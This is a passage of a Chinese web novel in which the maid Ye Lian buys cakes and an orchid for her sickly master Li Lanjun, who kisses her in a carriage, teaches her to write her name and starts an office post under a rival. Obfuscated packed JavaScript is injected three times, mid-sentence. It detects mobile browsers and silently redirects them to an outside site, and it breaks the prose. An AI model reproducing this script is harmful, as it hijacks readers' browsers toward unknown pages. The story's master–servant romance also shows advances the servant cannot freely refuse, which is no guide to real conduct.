李兰钧这一拳实属不痛不痒，可激起了杨遂的怒意，他当即回了一拳，这一拳力道有八分重，对于一个病弱之人而言根本无法抵御，更何况当时久病的李兰钧，所以李兰钧吃了他一拳后，直接倒在地上晕了过去。 杨遂回家便挨了一顿相当严重的打，打到足足三日他才苏醒，直到他上京科考，又被外派到扬州，对此仍留有深刻记忆。 当然，李兰钧这个极其记仇的人记得也丝毫不差——他刁蛮刻薄十数年，哪里受过这样的委屈？ 但当下他却因矮人一头，只能默默吞下这份旧气。 “当年我不知天高地厚，如今成家立业，稳重许多，自然要跟贤弟赔个不是。” 杨遂此言的重点不是不知天高地厚，而是后面那句话，他时年二十六，靠自己争了功名，又娶了媳妇，还育有一子，无论哪个方面都压李兰钧一头，李兰钧除了哑言全无办法。 他举起茶杯，双手奉上道：“来，这杯我敬你！” 叶莲从未见过如此胆大包天之人，不光落了李兰钧没脸，还明里暗里讥讽他，最后竟然要笑着敬他茶！ 她用余光去看李兰钧反应，见他一言不发地坐在座上，拿杯的那只手肉眼可见地颤抖着，杨遂的话他也不接，只坐在那儿一动不动，仿佛即刻就要爆发一般。 又去看杨遂，那人举着杯等李兰钧回应，眉眼也在打量他的反应，手指渐渐拢成拳作防备态。 你也知李兰钧会暴起，那还来招惹他！ 叶莲在心里暗骂道。 再看李兰钧，在座上纹丝不动，就在杨遂手举得发酸，以为他不会理会自己时，李兰钧抄起茶杯，“乒”地一声跟他碰了杯，碰完后一饮而尽。 杨遂被他的突然举动吓了一跳，见他竟只是碰了杯没什么别的动作，又意味深长地看着李兰钧，仰头喝干净杯中茶水。 李兰钧虽没答复他一字，却也让他有了莫大的得胜之感，之后的宴席便没再折腾，安心走流程用膳谈天。 酒足饭饱已是日上三竿，家婢撤下残羹冷炙，往每人桌前放了一炉香。 赏了歌伎舞乐，随乐师的曲调高歌新谣，赏花会的重头才终于登场。 王夫人站起身来，朗声道：“各位可入内苑赏花观景、作诗题词了！” 此时李兰钧已是疲惫不减，他略按了按太阳穴，随后轻叹道：“莲儿，你坐马车给我买花糕去。” 叶莲闻言，颔首躬身在一众贵人中隐退而下，借着记忆往大门方向走。 简单跟看门小厮打了招呼，她抬脚踏出园外，捂着袖中不轻的钱袋朝停在园外的马车走去。 她走近跟驾车的车夫说了几句，便抓着车沿上了车，坐在车架上往集云大街去。 街道平坦，沿途还能赏街上的景色，看些没见过的趣件，叶莲坐在车上，眼睛漫游在摊贩店铺中。 行过铺石板的街道，接着是有些颠簸不平的泥巴路，再拐几个弯才到集云街口，街上人群络绎不绝，张灯结彩好不热闹。 马车走在人流中，人群自然给它分出一条道，叶莲就这样两头顾看，街上一眼望去果然有栋别于其他的高楼。 楼顶铺下几条巨大的彩布，彩布中用粗绳挂了不少精巧别致的花灯，整个高楼灯火通明，白日里就亮煞旁人。 马车停在街边空处，叶莲跳下车开始寻李兰钧口中的百福斋，她不识字，所以只能逮着行人一个个地问，费了不少功夫才找到林立于商铺中的糕点铺子。 百福斋不愧为李兰钧青睐之铺，前来买糕点的人摩肩擦踵，甚至都挤到了街道上。 叶莲只好跟着挤在人群中，不知何时才能轮到她挑买，她心下道：难怪叫我宴会过半就来，这么些人，排到傍晚才买到也不足为奇。 她左右打量周围人群，发现百姓几乎不光顾此商铺，门前的皆做下人打扮，还有混在其中的跑腿闲汉。 “这百福斋的点心，得要多少文啊！” 叶莲小声嘀咕道。 一旁代买的闲汉耳尖，听到她此言不由得笑出了声，为她答疑：“妹子，他家的点心，起码都要五两了！你手里的几贯钱买一块都够呛，还是回府多带些来吧！” 叶莲登时被点心的价钱吓了一跳，她张着嘴叹道：“五两！这糕点莫不是银子做的！” “可不是银子做的！这家第一代掌柜是京中的名厨，还乡在扬州开了几十年糕铺呢！”那闲汉头顶扎着一条汗巾，他粗略地抹抹脸，朝叶莲露出一口细牙，“你是哪家的丫鬟，出来采买竟不算账，你家主人莫不是新迁来的？” 叶莲讪笑着回：“我是东街那边的……主人给够了银钱，是我自己犯嘀咕呢！” 李兰钧给的钱袋里的数目，只多不少。 “东街……你是薛府的吧！”闲汉猜测道。 叶莲笑着打了个哈哈，并未多言否认。 闲汉与她寒暄几句，恐时辰来不及，挤着到柜前去了，留叶莲在原地还有一定距离。 她果真等到了日头半落，才从百福斋买下十三两的天价花糕，打开李兰钧给她的钱袋子时，里面堆着约莫七八个小铤，足够她再买上六盒。 叶莲抱着红木盒装的花糕，逆流往高楼附近赶。 她疑心这十三两的花糕，有半数价钱用在了装饰上，实则与普通糕点无甚不同，重在名头响亮罢了。 街边叫卖的商贩越来越多，摆放的鲜花灯笼大差不差，叶莲路过一年轻女子的小摊，看了几眼便驻足在此。 与攀折下来卖的不同，女子的摊上摆放着十几土盆大小不等的鲜花，种类看着也各有不同。 “你这有没有细长的叶片，不开花时就像草一样的花？”叶莲抛出一句粗略的描述。 女子思索片刻，拿出摊下的几盆花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351646|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈给叶莲：“这几样您看像不像？” 叶莲仔细打量几盆花，最终选定角落那盆枝叶最细最为像草的。 她端起那盆花，又在眼前左右观摩一番，对卖花女子道：“这个是什么花？” “这花叫做小雪素，是兰花的一种，它已经有苞了，过不了几天就能开花，”卖花女细心解释道，末了又推销，“姑娘，它开花可香了，您买回去定能满室留香！” “多少钱？”叶莲捂着另一只袖中叮当响的钱袋问。 卖花女伸出五个指头。 “五百文！”未等她开口叶莲便吓出声道。 卖花女连忙摆摆手，“五十文，姑娘。” 叶莲稍微放下心来，从钱袋里数出五十文递给她，抱着花小心翼翼地离开。 上马车前叶莲买了几个橘子，随后掀帘仔细将橘子摆放于盘中，剥好的则放在另一边。 放好后再安置花糕和小雪素，花糕金贵，所以置在座上，兰花是她买下来的赔礼，身价不高，就委屈些放在帘边角落。 一路颠簸，好歹到了园林门前，赏花会散了不久，赴会的人都乘车离去，李兰钧站在门边等她。 丫鬟在他头顶撑着一把纸伞遮阳，李兰钧左顾右盼，面上有些焦躁。 见叶莲坐着马车从远处赶来，面色总算是好看了一些，等到她跳下马车给李兰钧让道，他的脸又垮了下来：“去这么久？就是让你亲手做也早该做好了！” 无端被李兰钧发泄一通怒火，叶莲低着头委屈道：“少爷，人实在太多了……” 李兰钧怎会不知人多，他只是找地方发泄情绪而已。 “都怪你去得太迟！”他愤愤道。 叶莲颔首称是，不敢再多嘴一句，免得李兰钧怒上加怒。 李兰钧掀帘入座，叶莲和冬青才相继上车在帘外坐下。 马车徐徐而起步，叶莲心里等候着李兰钧的反应，无心再去看街边风景。 “莲儿。” 未过多时，李兰钧果然开口换她。 叶莲在冬青笑意盈盈的目光中走入车内。车内李兰钧手指轻叩窗沿，正用那双含情目一动不动地盯着她，仿佛要将她的所有动作尽收眼底。 “少爷，有什么吩咐么？”叶莲低垂着头，跪在地板上问。 “剥橘子。”李兰钧轻飘飘地开口。 想必是兰花放在角落，李兰钧并未注意到。叶莲一边想一边用膝盖磨蹭上前，用手剥开盘中橘子的外皮。 她剥得仔细，没注意到李兰钧微动的神情。他略向前俯身，伸手抚上叶莲的发髻，挑出一缕碎发在手中把玩。 叶莲不自在地缩缩身子，手上的动作慢了下来。 “你送我花是何意呢？” 李兰钧冰凉的手指触到她的脸颊，由上往下轻轻磨蹭着。 叶莲被他摸得一惊，讷讷地回：“前两日铲了少爷心爱的花，这是奴婢赔给您的……” “就一株？” “就一株，奴婢没带那么多铜板。” 李兰钧郁气消散，心道这小丫鬟还真是个可人儿，见他在外头受了气，私底下竟会用法子讨他开心。 “你送这花，除了赔我的，没其他想法？” 李兰钧似笑非笑地问。 29. 索吻 叶莲摇摇头，脸颊一下一下蹭在他的手指上，颇似狸猫卖乖求宠。 “你又骗我。”李兰钧意味深长地说道，随后用指尖扳过她的脸，让她直视自己。 叶莲莫名被他一通调戏，看着他时杏眼不眨一下，满目迷茫。 她只是买了盆兰花，怎么就骗他了？ 李兰钧捏着她的脸蛋，见她双目水润，粉唇微微撅起，一张小脸要多可怜有多可怜，不禁心头愉悦，玩味地又捏了几下。 “奴婢不知……怎的又骗了少爷，是花不对，还是其他什么不对……”叶莲含糊不清地发问。 李兰钧哼笑道：“你别说你不知这花叫什么名字。” 叶莲这才发觉是花名的问题，兰花、小雪素，这两个名称有何不对吗？她想破脑袋都想不出来，总不能是兰花里面带了一个“兰”字吧！ 她冥思苦想，最终试探着说道：“小雪素……？” 李兰钧听罢一副了然的神情，他笑意更浓地歪歪头，首肯道：“是啊，是叫这个名儿。” 他这故弄玄虚的回答，让叶莲更是一头雾水，她被他掌着脸，只能扑闪眼睛看着李兰钧，寻求他的解答。 “不过它还有个统称，叫莲瓣兰。” 李兰钧说罢，另一只手揽住她的腰，一阵天旋地转，叶莲晕乎乎地落到他怀里，他岔开腿，让叶莲坐在他的一边大腿上。 叶莲在混乱间仍在想：莲瓣兰，莲瓣兰，到底是什么意思？ 哦，莲伴兰…… 李兰钧果然不是常人，就连想法也与常人大相径庭，可谓是非人哉。 “奴婢不是那个意思……”叶莲尴尬得后背发麻。 “我一点你就懂了，还说你不是那个意思？” 李兰钧向来黑白不分，压根没给她解释的机会。 叶莲虚坐在他腿上不敢用力，两只腿支在地上直发酸，她预备找个受力的地方，略往李兰钧那边一倾，就见他扬眉勾唇，正等着她有所作为。 好巧不巧，马车走到了泥路上，又不知绊到了何物，陡然一颠，让她老实靠在李兰钧身上，手还不合时宜地抓着他胸前的一块布料。 叶莲：“……” 二人贴在一块干瞪眼，只要再往下几寸，鼻尖便也能相触，随后即是耳鬓厮磨，气息相融。 李兰钧像是觉察到了什么，仰头合上眼，静静等待她的下一步动作。 叶莲张嘴欲出的解释霎时哑了声，箭在弦上，不发定是李兰钧的一番恼羞成怒。 她盯着他的脸，看着他羽睫颤动，呼吸沉缓，苍白的脸庞浮现出淡淡的薄红，绯色一直染到耳尖，他的唇似乎更粉润一些，像擦了桃花制成的口脂。 这样看来，被揩油的还不知道是谁呢！ 叶莲本在挣扎，这样一想又释然了，于是在李兰钧因等待而皱起眉之时，垂首覆上那片柔软的桃粉色，滚烫的气息顺势在面上蔓延开，鼻尖相触后又缓缓屏住。 她本意是贴上就收，可刚要离开那片唇瓣，就被李兰钧一手捧住脸一手搭住后颈，生生带了回来。 闹市飘香屑，明烛花红，马蹄踏清夜月，车外人潮涌动，交谈叫卖声不绝于耳，影影绰绰的灯光偷溜进来，无意窥到几重春色，消磨雪肌粉唇，搅乱满室薰风。 吻至情动处，一时难舍难分。 幸而李兰钧体弱，未等她呼吸不畅，就及时放开手给彼此喘息的余地。 他的脸更红了，嘴也水润不少……叶莲捂着剧烈鼓动的心口，心神凌乱着想。 李兰钧休整片刻，又攀着她的脖子索吻，他眉目湿润，眼神只聚焦在她的双唇上，察觉到她的抵触又将目光放在她眼眸间。 叶莲方才搭建起来的警惕顷刻之间分崩离析，任由他勾着往下继续贴合。 “少爷，够了么……”叶莲双唇红肿，实在受不住了才斗胆打断，抵着李兰钧的胸口瑟瑟缩起身子。 “什么够不够，是你自己凑上来的。” 李兰钧不知餍足地眯起眼，语气有些愠怒。 “奴婢这就走……”叶莲顺着他的话回道。 言毕挣扎着要站起来，唯恐挣不开李兰钧的桎梏。 李兰钧由着她站起身，随后看她头撞在车顶发出“咚”地一声，浑身无力地跌在地上，手扶着车坐倚靠在边缘。 “我没让你走你也敢走，胆子真是一天比一天大了。”李兰钧靠在车背上心满意足地嗔道。 叶莲脑子里乱得七荤八素，欲哭无泪道：“奴婢不敢了！” “我瞧你今日是没什么不敢了。”李兰钧揶揄着怼她。 她如今哪还有力气还嘴，只瘪着嘴坐在地上一声不吭，慢慢理顺杂乱的思绪。 马车渐渐放缓放停，冬青在车外提醒道，“少爷，到了。”便听有人跳下车，走到车后搬轿凳，轻响一声置在马车一侧。 “愣着做什么，拿东西下车。” 李兰钧丝毫不怜香惜玉，朝她颐指气使道。 叶莲拖着疲惫的身子去拿花糕，却被李兰钧先手夺走了，他扬眉又道：“你拿那盆莲瓣兰。” 他有意把莲瓣兰三字拖得又长又慢，像是有意在招惹叶莲，让她心头的羞赧永不停歇。 叶莲埋着头应声，抱起那盆兰花掀帘跳下马车，不敢与其余人多对视一眼。 待李兰钧神清气爽地下了车，率着一众家仆踏入南园大门，叶莲亦步亦趋地跟在他身后，仍抿唇生恐被人发现端倪。 别人不知倒正常，冬青这个守在门边的人，想不知道都难。 所以叶莲此时最不想与冬青打照面。 一行人走过回廊，风吹动一排排黄纸灯笼，灯笼左右摆动着，光影重重，照在人脸上看不清神色。 走到寝居前，里面早早点了灯，辛夷等人在门边等李兰钧指示。 “进来。”李兰钧睨了辛夷一眼，随后走进寝居才说道。 众人得了他的吩咐，才敢跟在他后面踏进门，散开来准备就寝事宜。 李兰钧双手张开，丫鬟顺势脱下他的外袍，取了束发冠再用小香炉在身旁左右熏香。 待修整完毕，李兰钧走到桌前将花糕盒子悠悠打开，共有两层，第一层里面卧着几个桃花状的花糕，小巧精致。 桌上白玉瓶中插着一枝巴掌大的玉兰，香气浓郁，花中落了一瓣在桌上，无意成雅韵。 “把这个端出去。”李兰钧若有所思道。 丫鬟依言将这处浑然天成的景致收拾干净，留下一张空落落的圆桌。 “莲儿，把你手上的放过来。” 李兰钧捏起一块花糕，转头去看立在一旁的叶莲。 叶莲本低垂的头闻言微微抬起，与他对视一眼后又心虚地看向手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367313|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简陋的兰花，这还未绽开的兰花栽在土盆里，明眼人都能看得出来不如白玉瓶好看。 奈何李兰钧乐意。 她抱着土盆走到桌旁，将它放在桌子的正中处，又不满意地挪了挪，好像怎么看都不应景。 李兰钧咬一口点心，打量这朴实无华的兰花，一番思索后道：“你明日给它换个盆，就换……冬青，明日去库房里找个合适的。” 冬青与叶莲同颔首称是。 “这花归你管了，养死了我拿你是问。” 他侧目看向叶莲，口气倨傲。 叶莲小鸡啄米似的点点头，闷声应一句“是”。 李兰钧对她的回应十分不满，眯着眼睛又发难道：“头都快埋到桌子底下去了，抬起头来。” 叶莲只好抿着唇抬头，怯怯地看着他。 方才一路上因灯火阑珊未有人察觉，现下到了屋里，满室点着通明的烛火，李兰钧又非要让她抬头示众，她那点隐私定要被发现了。 被别人发现倒是没有，李兰钧垂首打量她时却发觉了，小丫鬟唇边微红，偏偏她还死命抿着嘴，生恐露出端倪。 “有这么见不得人么……” 李兰钧似笑非笑地看着她，嘴里嘟囔道。 “都去门口候着，没我的命令不许进来。” 众人便都鱼贯而出，只留他们二人在内。 叶莲不明所以地望着他，一脸紧张。 撤去的玉兰花枝尤有余味，萦绕在彼此之间，不近不远地浮动着。李兰钧此行不免让她浮想联翩，马车上他就肆意横行，如今到了寝居，保不齐更是…… 眼见着李兰钧不紧不慢地拿起一块花糕，又放到眼前细细观摩一番，才启唇温声道：“张嘴。” 他要喂我吃点心？ 叶莲心中讶异道，咬紧的牙关逐渐放松，微张开嘴等待李兰钧下一步动作。 如她所料，李兰钧伸手喂到她嘴边，花糕半塞入口，他的手并未撤回。 “吃呀，笨。” 李兰钧仿佛喂养狸猫，非要她在他手上吃干净不可。 她咬下一小块嚼了嚼，心道果然是银子做的点心，确实满口留香、细腻清甜，连花朵本有的涩味都处理得恰到好处，叫人食之难忘。 不知不觉就着李兰钧的手把花糕全数吃尽，方才的拘谨似乎在惊叹间飞到九霄云外，只剩下对做法的研究琢磨。 李兰钧见她吃得一脸陶醉，不自觉跟着勾起丝丝笑意，心道就这一块小点心都能让她如此着迷，果然是目光短浅。 他顺手擦掉叶莲嘴角的碎屑，一时忘了自己碰东西从来要用手巾，从不徒手触碰。 “这盒赏你了，拿走吧。” 李兰钧收回手指，负手吩咐道。 “少爷，您自己都没吃多少呢！”叶莲眨眨眼，认真回他。 虽然点心好吃，但不能失了分寸。叶莲时刻谨记着自己的身份。 衣袖下手指反复摩擦，仿佛要将方才的触碰刻在指纹里。李兰钧闻言心下一动，垂眸看着她笑得肆恣：“我是没吃多少……” 随后俯身在她唇上印上蜻蜓点水一吻。 “滋味尚可。” 他得逞似的挑眉，开口评价道。 小丫鬟涨红了脸，丢下一句“奴婢告退”逃也似的溜了，走前不忘带走那盒空缺两块的花糕。 30. 写字 继李兰钧的知府大人爹要给他某差事之言，已过了两月有余，期间李兰钧赏花逗鸟、喝药调理，不时调戏一下小丫鬟，日子竟也算不上太难捱。 五月初，翟任的名录终于从衙门抵达南园，并由李兰钧亲自打开查看。 上面乌泱泱一大片字看下来，“试衔知扬州判官”几字清晰明了。 李兰钧刚见那几字，怒从心中起，手一扬将名录扔了出去，名录摔在地上“哗”地铺开一大片。 “幕职官就罢了，还是试衔！” 冬青赶忙将名录捡起来，唯恐上面生了什么破损。 叶莲立在李兰钧身边，听不明白他生气的原因，但见他坐在椅上黑着脸，打开时期待的模样全然消失，便知不是好差事了。 “少爷，幕职官是什么，试衔又是什么？”她开口问道，试图缓和李兰钧的脾气。 李兰钧偏头睨她一眼，没好气地回：“还能是什么，辅理政务的，还是让我暂时担任。” “那岂不是很厉害了，日后还可能坐实位置，还可能升官呀！” 叶莲在他耳边夸赞道。 李兰钧被她理顺了脾气，勉强收起气性道：“哪这么快，还得有些时日呢。” 他近来脾性好了不少，虽难改以往骄纵的姿态，但好歹没再行刁钻之事、无端惩治下人。 叶莲见他面色缓和，继续溜须拍马道：“奴婢见少爷日日写文章，向来聪慧过人，一定比旁人更快些！” “少贫嘴。”李兰钧表面斥责，心底还是稍有了些慰藉，再去看冬青手中那名录都顺眼了许多。 也是，他一向聪颖，定能为自己搏个好前程。 李兰钧从冬青处拿过名册，仔细鉴读后才置于书案上，沉下心接着练习手下笔墨。 “后日去报道，冬青，你先去准备准备。” 他习至一半，抬起脸看向冬青。 冬青颔首，依言退出书房。 接近入夏时段，李兰钧这具身子受不得冷，自然也受不得热，所以下人皆守在门口，室内只有叶莲与他二人。 树影倒映在书房前小片位置，暖风乍入，吹起宣纸一角，又因掀不起镇纸而作罢。 “在入南园前，你可有名字？” 李兰钧忽然问道，笔下仍不停歇。 被问起以前，叶莲思索片刻才答：“有，奴婢从前姓叶，名为三娘……其实也不算名字。” “三娘……”李兰钧将此名在嘴里咀嚼一遍，复又开口，“你在家中行三？” “是第三女，上头有两个姐姐，下头……是两个弟弟。”叶莲不知他为何突然询问起自己的家事，却也还是乖巧地回话。 “哦，三娘这个名字……不好听，像是随意取的字，全无爱护之意。莲儿嘛，勉强比三娘好一些，至少用了点心。” 李兰钧对她前后两个名字评判道，忽而转口连名带姓叫她，“叶莲，你如今叫这个？” 自从人牙子取名后，再也没人这么唤她。叶莲呼吸一滞，怔愣过后才应道：“是，这是买下奴婢的人给取的名字。” “人牙子都比你爹娘用心。” “少爷，三娘不是名字，只是随意叫的——村里所有人都是如此，有个能叫出来的名号，就是名字了。” 叶莲对生养她的父母实在没怀多少感恩，但到嘴边的不满却又折转回来，变成一句冷硬的解释。 不是感念恩情，而是她下意识跟李兰钧倾诉的想法让她害怕，积年累月的相处后，竟然懈怠了尊卑，叶莲唯恐失了分寸。 她害怕因李兰钧的宠爱而忘了身份。 “你从前的生活真让人难以想象。” 李兰钧微皱眉头，停了笔抬眼去看她。 “换张纸，我重写一次。” 叶莲在他的注视下俯身更换纸笔，将写有字迹的那张放在一旁用书本压住，以防风吹走落在地上。 白纸在眼前铺开，李兰钧提笔写下一个“叶”字，上次是无意，这次则是有意为之。 “这个是你的姓氏，叶。”他写完对叶莲道。 叶莲本垂首站在一旁，闻言惊讶地看向李兰钧，又看向宣纸上的字，纸上写的东西像一块不那么方正的豆腐，和一枝生杈的树枝。 “这就是叶吗？”叶莲欢喜地眨眨眼，拼命把这个字记在心底。 “你过来，照着这个写一个出来看看。”李兰钧起身，将手中的毛笔递给她。 叶莲更是不可思议，她看着李兰钧停顿了半晌，小心翼翼地问：“奴婢可以吗？” “有什么不行的，辛夷和林檎都识字，就你不识，不应好好补救一番么？” 李兰钧将笔塞到她手里，不容置喙地道。 叶莲捏着笔杆，握笔方式还是偷看李兰钧学的，并不合乎规范，她庄重地落下一笔，模仿李兰钧的字在旁边画出个歪歪扭扭的鬼画符。 “啧。” 身后传来李兰钧并不看好的一声。 叶莲也知自己写得难看，遂转过头羞愧地看着李兰钧，乞求他的指导。 “你这字写得……实在难看。”李兰钧在她可怜巴巴的眼神中辛辣评价道，然后从身后半搂住她，大手覆在她拿笔的手上。 叶莲乖乖缩在李兰钧怀中，任由他引着自己提笔写下字迹。 由李兰钧的指导后，字果然好看不少，但仅仅比她自己写的好，跟李兰钧写下的字比不了。 “握笔方式不对，哪有你这样拿笔的？” 李兰钧伸出另一只手一同帮她纠正，叶莲整个人落在他怀里，却也不畏缩，只是专心地看着李兰钧的动作，记下他调整好的握笔方式。 李兰钧就这样带着叶莲写了十几次，待到她自己也能牵着笔写下一点，他又握着她的手写下她的名。 “少爷，这个字看着好生眼熟。” 叶莲隐隐觉得在哪里见过似的。 握着她手的大手一抖，在宣纸上留下一条虚弱的黑痕。 李兰钧面色霎时红了起来，在她耳边嗔怒道：“你不是不识字吗！” “是，奴婢就是觉得眼熟而已，或许是偶然记下的……”叶莲一脸茫然地回他。 “罢了，你别去想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382397|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些乱七八糟的，专心看字。”李兰钧见她没想起来，稍微放下心，催促她看眼下。 叶莲便又将心思放在习字上，跟着李兰钧的动作慢慢誊写。 “叶字奴婢会了，这莲字好难，怎么都写不好。”叶莲仔细看着那个字，眉头紧皱。 李兰钧松开手，站到一旁整理衣摆，“你自己试着写写？” 叶莲依言开始自行书写，没了李兰钧的指引，她的字急转直下又成了鬼画符，不过姑且比初次落笔好些，至少认清了笔划顺序。 没过多时，一张宣纸就被她写满了，叶莲看着自己落下的成果，颇为欣慰。 “这张纸你揭了去，给我换一张。”李兰钧短暂的教习兴趣到了头，不客气地赶人离案。 知足常乐是叶莲的本性，她不敢多求，给李兰钧换了纸便揣着自己那张偷乐，折在手里都怕被汗湿晕染。 “自己多练练，下回再教你新的。” 李兰钧一边下笔一边对她说道。 听到还有机会习字，叶莲高兴地点点头，应道，“谢谢少爷，奴婢回去一定勤加练习！” 身前的人不理她，兀自下笔接上未习完的字帖。 李兰钧定是可怜她，才特地如此。叶莲心里这样想着。 树叶被风吹得簌簌响，还未入夏，不远处竟有蝉鸣声传来，吱吱作响好不扰人，门前飞过一只鸟雀，停在栏杆上梳理羽毛，又扑朔着落到檐上乌瓦间。 得了墨纸的叶莲，就像掉进米缸的老鼠，恨不得天天泡在练字里。 给李兰钧送了早膳后，叶莲蹲在菜地边上用树杈写字，前日才学会的名字，直至今日她就已写了几百次。 树杈划在地上写出一竖，又写出一横折……叶莲对于重复写这两个字乐此不疲。 墙角藤蔓直直爬到墙外去，长势比菜地里一洼洼绿油油的菜叶还喜人，叶莲在地里插上几根竹竿，胡瓜便顺着竿爬满一圈，毛绿的叶子里藏着几个未绽的花骨朵，只露出头顶一点青黄的花尖。 她不喜鸟雀光顾，菜地旁还倒立着一把竹帚，起到似人的威慑作用，有时也能直接拿上手驱赶。 “叶莲，叶莲……”她一边写一边嘟囔着，泥土不知被她扒拉过多少次。 而此时的李兰钧，正在衙门门口预备就职。 他方才下了马车，冬青便塞给他一手用红绳捆好的纸包，里面的东西有些重量，绳子吊得他手指发白。 “这是什么？”李兰钧对这些莫名其妙出现在手中的东西发出疑惑。 冬青笑出一口白牙：“少爷，您不是让奴婢准备东西吗？金银古玩做见礼太过隆重，奴婢便想着送些亲切的礼品。” “这是留羡楼的炙羊肉，出了名的好味难买，奴婢差人早早买来了，您摸摸是不是还有余温？” 李兰钧觉得他此言在理，提起纸包的羊肉用手背触了触，果然还在温热，便放下心来叮嘱道：“你酉时再过来。” “是。” 得到冬青的回复，李兰钧一手勾着几提羊肉，另一手拿着油纸伞，大步流星地迈进衙门大门。 31. 冤家 府衙内零零散散有几名衙役，穿过仪门后见一座五开间、九脊顶的厅堂，正是知府大人办公处事的设厅。 知府大人李肃坐在厅中正中位置，案上叠了十几封公文，李肃打开一封仔细端详着。 “父亲。”李兰钧欠身行礼。 李肃横眉冷视过来，淡淡道：“公堂之上无父子，叫大人。” 李兰钧倦得跟这位纸老虎大人多口舌，把手上一包炙羊肉置在他案上，问：“大人，在下如今要去哪办事呢？” “佥厅，你的上司在那儿等你。”李肃指指西边的小厅，并未理会他给的见礼。 李兰钧点头应声，遂往佥厅去。 佥厅之内坐了几人在办公，他方一走进去，就看见杨遂坐在主座上，刚好也抬头与他对视。 厅中人皆转头看向他，李兰钧不急不忙地放了伞在门口，才踏进去寒暄：“各位，某初来乍到，给大家带了些炙羊肉，还望莫要嫌弃。” 他说罢，一一分给日后共事的同僚们，本着不想与杨遂当年照应的念头，最后走到他面前送见礼，却发觉少了一份羊肉，正好到杨遂那儿就没了。 李兰钧顺其自然地惊讶道：“哎，竟然不够分了！” “这炙羊肉难买，没分到也是常理。”杨遂扬起一抹善解人意的笑脸。 厅中人见他没分食到炙羊肉，有人就用竹签叉了一块递给他，杨遂推辞不过接下来吃净，羊肉脆香，满厅飘着肉香味。 “是我没清点好同僚人数，若是今日同知大人在，想必也分不到。” 李兰钧扫视一周没见同知，抛出套话等着有人上钩。 “幸亏同知大人去监修水渠，不然哪够吃的，”果然有人道出了原由，那人说罢又递给李兰钧一支炙羊肉，“判官是否要尝上一口？” “我久病未愈，现下仍在服用汤药，肉食荤腥吃不了。”李兰钧回绝得妥帖非常。 “既然病着，这么着急来赴职想必伤身，何不等身子好些再来？” 杨遂签一块羊肉放入嘴里，看似体贴地说道。 李兰钧不易察觉地扫他一眼，他如今是一肚子烦躁，却还要装作大方得当：“我向来小病不断，若是为了养病而推迟就任，不知要等到何时才能见到各位。” 大伙闻言笑了起来，杨遂也连连称是。 “不知李某在哪位大人麾下做事？” 李兰钧猜测父亲知他与杨遂早有嫌隙，应是让自己辅于同知陈耘茂，但不敢轻易定论，于是便问道。 怎料杨遂整理衣袍起身，朝他微微一笑：“不才，正是本官。” 李兰钧带着假笑的嘴角一抽，他面色几经变换，像是要忍不住现出原形，好一会儿才恢复原状，勉强回礼道：“那要请杨大人多多指教了。” “指教不敢当，判官才华过人，任此职委实是屈才了。” “大人说笑了。” 李兰钧皮笑肉不笑地同杨遂寒暄片刻，又略微熟悉了平时公务，忍着杨遂话里话外的揶揄，好歹是到了放衙的时辰。 落日余晖下，李兰钧气势冲冲地走出佥厅，吓飞一群鸟雀，在设厅里拦住要回府的李肃。 “大人安排谁不好，为何偏偏把我安排给杨遂！”他咬牙切齿地说，一脸怨气交加。 李肃处理完一堆政务，本喜悦于能准时下值，一见他这副没大没小的顽劣模样，登时声气提得老高：“府衙就三人，我，你我的关系你在我底下办事像话吗？陈耘茂，你难道忘了上回大闹抓周宴的事，人家心里头还难受着，我送你去给他添堵？” “左右只有杨遂容得下你，你忍得下去就做，忍不下去就给我回家过闲日子！” “我才不去过什么闲日子，您就不能给我谋个安生点的差事么？” 李兰钧好赖话都听不进，无理取闹道。 “没有！你当官职是天上掉下来的啊，出门就能被好差事砸到头顶。”李肃显然不受他这一套，指着他鼻尖骂，“你这副不思进取的样，枉费我给你安排这些，收拾收拾包袱回家罢了！” “我没说要走呢！哪有您这么上赶着撵人的？横竖我在杨遂那儿待不了，您就不能放下那点面子，让我到您这儿来么？” 李兰钧听不得有人激他，父亲一说他待不下去，他咬碎了牙都要跻身进来。身娇肉贵的李少爷退一步求其次，死活不在杨遂底下做事是他的唯一条件。 “哎，正说话着呢？”杨遂这家伙贼眉鼠眼地笑着走进设厅，看样子听到了不少，“实在抱歉，下官来拿点东西，拿了东西就走。” 李兰钧霎时没了声，脸色一阵发绿。 杨遂在二人平息的争执中拿起一叠公文，退出去前煞有介事地回头道：“大人，若是不在我这儿待也成，下官没意见。” 话看似是对李肃说的，实则在内涵李兰钧的娇贵，一箭双雕。 “我没说不待！”李兰钧气得忘了自己本来目的，矢口否认。 